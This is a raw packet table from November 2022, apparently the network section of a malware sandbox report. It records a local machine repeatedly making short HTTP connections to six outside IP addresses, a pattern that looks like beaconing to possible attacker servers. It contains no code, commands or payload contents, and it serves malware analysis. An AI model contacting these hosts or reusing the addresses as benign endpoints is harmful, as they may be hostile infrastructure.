Nov 21, 2022 19:24:05.770580053 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:05.931422949 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:05.931551933 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:05.931607008 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:05.931660891 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:05.931714058 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:05.931766033 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:05.931818008 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:05.931870937 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:05.931881905 CET	49892	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:05.931924105 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:05.931978941 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:05.932034016 CET	49892	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:05.932205915 CET	49892	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:06.047044992 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:06.095174074 CET	49892	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:06.423377991 CET	49892	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:07.438973904 CET	49893	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:07.554474115 CET	80	49893	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:07.554795027 CET	49893	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:07.554896116 CET	49893	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:07.687123060 CET	80	49893	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:07.793509960 CET	80	49893	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:07.844767094 CET	49893	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:17.799375057 CET	80	49893	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:17.799717903 CET	49893	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:17.799760103 CET	49893	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:17.914805889 CET	80	49893	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:22.811080933 CET	49894	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:24:22.974412918 CET	80	49894	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:22.974623919 CET	49894	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:24:22.974842072 CET	49894	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:24:23.137538910 CET	80	49894	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:23.177141905 CET	80	49894	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:23.177205086 CET	80	49894	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:23.177548885 CET	49894	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:24:23.981993914 CET	49894	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:24:24.997558117 CET	49895	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:24:25.160772085 CET	80	49895	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:25.161156893 CET	49895	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:24:25.161257982 CET	49895	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:24:25.324357033 CET	80	49895	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:25.361253977 CET	80	49895	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:25.361313105 CET	80	49895	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:25.361498117 CET	49895	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:24:26.169008970 CET	49895	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:24:27.184520960 CET	49896	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:24:27.347165108 CET	80	49896	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:27.347543955 CET	49896	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:24:27.348279953 CET	49896	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:24:27.348332882 CET	49896	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:24:27.348381042 CET	49896	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:24:27.510974884 CET	80	49896	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:27.511054993 CET	80	49896	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:27.511064053 CET	80	49896	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:27.511173010 CET	49896	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:24:27.511207104 CET	80	49896	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:27.511255980 CET	49896	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:24:27.511327028 CET	80	49896	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:27.511596918 CET	49896	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:24:27.673943043 CET	80	49896	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:27.673954964 CET	80	49896	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:27.673980951 CET	80	49896	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:27.674113989 CET	49896	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:24:27.674140930 CET	80	49896	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:27.674151897 CET	80	49896	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:27.674164057 CET	49896	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:24:27.674212933 CET	49896	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:24:27.674215078 CET	80	49896	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:27.674380064 CET	49896	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:24:27.674438000 CET	80	49896	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:27.674541950 CET	80	49896	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:27.674647093 CET	80	49896	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:27.836815119 CET	80	49896	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:27.836910963 CET	80	49896	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:27.836921930 CET	80	49896	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:27.837021112 CET	80	49896	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:27.837032080 CET	80	49896	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:27.837146997 CET	80	49896	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:27.875634909 CET	80	49896	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:27.875699043 CET	80	49896	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:27.876076937 CET	49896	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:24:28.356127977 CET	49896	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:24:29.371767044 CET	49897	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:24:29.537633896 CET	80	49897	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:29.537897110 CET	49897	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:24:29.537976980 CET	49897	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:24:29.703849077 CET	80	49897	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:29.707251072 CET	80	49897	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:29.707350016 CET	80	49897	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:29.707639933 CET	49897	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:24:29.707704067 CET	49897	80	192.168.11.20	38.55.15.214
Nov 21, 2022 19:24:29.873389006 CET	80	49897	38.55.15.214	192.168.11.20
Nov 21, 2022 19:24:34.714644909 CET	49898	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:24:34.861243963 CET	80	49898	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:34.861517906 CET	49898	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:24:34.861649036 CET	49898	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:24:35.008090019 CET	80	49898	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:35.008651972 CET	80	49898	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:35.008724928 CET	80	49898	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:35.009068012 CET	49898	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:24:35.869944096 CET	49898	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:24:36.885566950 CET	49899	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:24:37.031979084 CET	80	49899	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:37.032227993 CET	49899	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:24:37.032330990 CET	49899	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:24:37.179203987 CET	80	49899	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:37.180026054 CET	80	49899	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:37.180054903 CET	80	49899	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:37.180174112 CET	49899	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:24:38.041456938 CET	49899	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:24:39.057149887 CET	49900	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:24:39.203741074 CET	80	49900	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:39.204082012 CET	49900	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:24:39.204737902 CET	49900	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:24:39.204828024 CET	49900	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:24:39.351491928 CET	80	49900	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:39.351572990 CET	80	49900	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:39.351627111 CET	80	49900	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:39.351684093 CET	80	49900	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:39.351722956 CET	49900	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:24:39.351737022 CET	80	49900	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:39.351789951 CET	80	49900	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:39.351834059 CET	49900	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:24:39.351844072 CET	80	49900	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:39.351897955 CET	80	49900	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:39.351898909 CET	49900	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:24:39.351949930 CET	80	49900	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:39.352000952 CET	80	49900	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:39.352123022 CET	49900	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:24:39.352221966 CET	80	49900	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:39.352236032 CET	49900	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:24:39.352284908 CET	80	49900	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:39.352511883 CET	49900	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:24:39.498717070 CET	80	49900	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:39.498835087 CET	80	49900	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:39.498918056 CET	80	49900	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:39.499001980 CET	80	49900	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:39.499022961 CET	49900	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:24:39.499121904 CET	49900	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:24:39.499172926 CET	80	49900	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:39.499448061 CET	80	49900	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:39.499499083 CET	80	49900	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:39.499653101 CET	80	49900	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:39.499788046 CET	80	49900	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:39.500080109 CET	80	49900	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:39.645919085 CET	80	49900	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:39.646125078 CET	80	49900	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:39.646369934 CET	80	49900	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:39.646619081 CET	80	49900	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:39.646800995 CET	80	49900	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:39.689809084 CET	80	49900	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:40.212743044 CET	49900	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:24:41.228329897 CET	49901	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:24:41.374845028 CET	80	49901	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:41.375099897 CET	49901	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:24:41.375164986 CET	49901	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:24:41.521769047 CET	80	49901	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:41.522042036 CET	80	49901	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:41.522083998 CET	80	49901	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:41.522447109 CET	49901	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:24:41.522526979 CET	49901	80	192.168.11.20	3.13.90.76
Nov 21, 2022 19:24:41.669203043 CET	80	49901	3.13.90.76	192.168.11.20
Nov 21, 2022 19:24:46.525032997 CET	49902	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:24:46.553941965 CET	80	49902	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:46.554236889 CET	49902	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:24:46.554383993 CET	49902	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:24:46.583172083 CET	80	49902	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:46.583233118 CET	80	49902	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:46.583278894 CET	80	49902	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:46.583478928 CET	49902	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:24:47.554968119 CET	49902	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:24:48.570486069 CET	49903	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:24:48.598371983 CET	80	49903	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:48.598705053 CET	49903	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:24:48.598859072 CET	49903	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:24:48.626535892 CET	80	49903	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:48.626638889 CET	80	49903	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:48.626760960 CET	80	49903	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:48.626884937 CET	49903	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:24:49.601313114 CET	49903	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:24:50.617070913 CET	49904	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:24:50.645931005 CET	80	49904	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:50.646147013 CET	49904	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:24:50.646812916 CET	49904	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:24:50.646903038 CET	49904	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:24:50.675602913 CET	80	49904	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:50.675672054 CET	80	49904	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:50.675714016 CET	80	49904	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:50.675820112 CET	49904	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:24:50.675894022 CET	49904	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:24:50.675944090 CET	49904	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:24:50.676022053 CET	80	49904	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:50.676198959 CET	80	49904	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:50.676291943 CET	49904	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:24:50.676336050 CET	80	49904	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:50.676459074 CET	49904	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:24:50.676625967 CET	49904	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:24:50.704648018 CET	80	49904	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:50.704708099 CET	80	49904	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:50.704874039 CET	49904	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:24:50.704957008 CET	49904	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:24:50.705051899 CET	80	49904	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:50.705106974 CET	80	49904	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:50.705251932 CET	49904	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:24:50.705265045 CET	80	49904	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:50.705377102 CET	80	49904	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:50.705442905 CET	49904	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:24:50.705657005 CET	80	49904	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:50.705820084 CET	80	49904	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:50.733993053 CET	80	49904	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:50.734055042 CET	80	49904	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:50.734096050 CET	80	49904	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:50.734178066 CET	80	49904	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:50.734500885 CET	80	49904	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:50.734730959 CET	80	49904	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:50.734791994 CET	80	49904	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:50.735121965 CET	49904	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:24:51.647679090 CET	49904	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:24:52.663568020 CET	49905	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:24:52.692562103 CET	80	49905	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:52.692799091 CET	49905	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:24:52.692910910 CET	49905	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:24:52.721530914 CET	80	49905	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:52.721621037 CET	80	49905	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:52.721633911 CET	80	49905	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:52.721888065 CET	49905	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:24:52.721986055 CET	49905	80	192.168.11.20	2.57.90.16
Nov 21, 2022 19:24:52.750406027 CET	80	49905	2.57.90.16	192.168.11.20
Nov 21, 2022 19:24:57.725619078 CET	49906	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:24:57.913940907 CET	80	49906	103.63.2.175	192.168.11.20
Nov 21, 2022 19:24:57.914218903 CET	49906	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:24:57.914343119 CET	49906	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:24:58.103296995 CET	80	49906	103.63.2.175	192.168.11.20
Nov 21, 2022 19:24:58.103648901 CET	80	49906	103.63.2.175	192.168.11.20
Nov 21, 2022 19:24:58.103735924 CET	80	49906	103.63.2.175	192.168.11.20
Nov 21, 2022 19:24:58.103936911 CET	49906	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:24:58.112968922 CET	80	49906	103.63.2.175	192.168.11.20
Nov 21, 2022 19:24:58.113228083 CET	49906	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:24:58.927294016 CET	49906	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:24:59.943125963 CET	49907	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:25:00.118247032 CET	80	49907	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:00.118555069 CET	49907	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:25:00.118618965 CET	49907	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:25:00.293752909 CET	80	49907	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:00.294034004 CET	80	49907	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:00.294106960 CET	80	49907	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:00.294259071 CET	49907	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:25:01.130145073 CET	49907	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:25:02.145617008 CET	49908	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:25:02.333803892 CET	80	49908	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:02.334122896 CET	49908	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:25:02.334731102 CET	49908	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:25:02.334825993 CET	49908	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:25:02.522945881 CET	80	49908	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:02.522973061 CET	80	49908	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:02.523142099 CET	80	49908	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:02.523273945 CET	49908	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:25:02.523319006 CET	49908	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:25:02.523400068 CET	80	49908	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:02.523427010 CET	80	49908	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:02.523646116 CET	49908	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:25:02.523755074 CET	80	49908	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:02.523781061 CET	80	49908	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:02.523804903 CET	49908	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:25:02.524157047 CET	49908	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:25:02.711571932 CET	80	49908	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:02.711631060 CET	80	49908	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:02.711671114 CET	80	49908	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:02.711913109 CET	49908	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:25:02.711949110 CET	80	49908	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:02.712023020 CET	49908	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:25:02.712188959 CET	80	49908	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:02.712331057 CET	80	49908	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:02.712335110 CET	49908	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:25:02.712418079 CET	80	49908	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:02.712482929 CET	80	49908	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:02.900527000 CET	80	49908	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:02.900610924 CET	80	49908	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:02.900662899 CET	80	49908	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:02.900707960 CET	80	49908	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:02.900751114 CET	80	49908	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:02.900794029 CET	80	49908	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:02.901098013 CET	80	49908	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:02.901165962 CET	80	49908	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:02.901215076 CET	80	49908	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:02.901259899 CET	80	49908	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:02.901309013 CET	80	49908	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:02.901501894 CET	49908	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:25:03.348444939 CET	49908	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:25:04.364454985 CET	49909	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:25:04.539473057 CET	80	49909	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:04.539691925 CET	49909	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:25:04.539756060 CET	49909	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:25:04.714807034 CET	80	49909	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:04.714916945 CET	80	49909	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:04.714986086 CET	80	49909	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:04.715445042 CET	49909	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:25:04.715445042 CET	49909	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:25:04.890435934 CET	80	49909	103.63.2.175	192.168.11.20
Nov 21, 2022 19:25:17.782949924 CET	49910	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:25:17.945452929 CET	80	49910	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:17.945646048 CET	49910	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:25:17.945808887 CET	49910	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:25:18.108000994 CET	80	49910	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:18.234039068 CET	80	49910	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:18.234078884 CET	80	49910	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:18.234286070 CET	49910	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:25:18.954301119 CET	49910	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:25:19.970130920 CET	49911	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:25:20.135273933 CET	80	49911	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:20.135503054 CET	49911	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:25:20.135612965 CET	49911	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:25:20.300555944 CET	80	49911	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:20.859338045 CET	80	49911	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:20.859400988 CET	80	49911	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:20.859693050 CET	49911	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:25:21.141241074 CET	49911	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:25:22.156905890 CET	49912	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:25:22.320677996 CET	80	49912	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:22.321052074 CET	49912	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:25:22.321582079 CET	49912	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:25:22.321672916 CET	49912	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:25:22.484502077 CET	80	49912	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:22.484615088 CET	80	49912	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:22.484663963 CET	80	49912	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:22.484708071 CET	80	49912	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:22.484761953 CET	49912	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:25:22.484942913 CET	49912	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:25:22.485049963 CET	49912	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:25:22.485066891 CET	80	49912	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:22.485270023 CET	49912	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:25:22.485455036 CET	49912	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:25:22.647805929 CET	80	49912	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:22.647902966 CET	80	49912	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:22.647954941 CET	80	49912	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:22.648020029 CET	80	49912	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:22.648066998 CET	80	49912	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:22.648072004 CET	49912	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:25:22.648192883 CET	49912	80	192.168.11.20	66.29.151.40
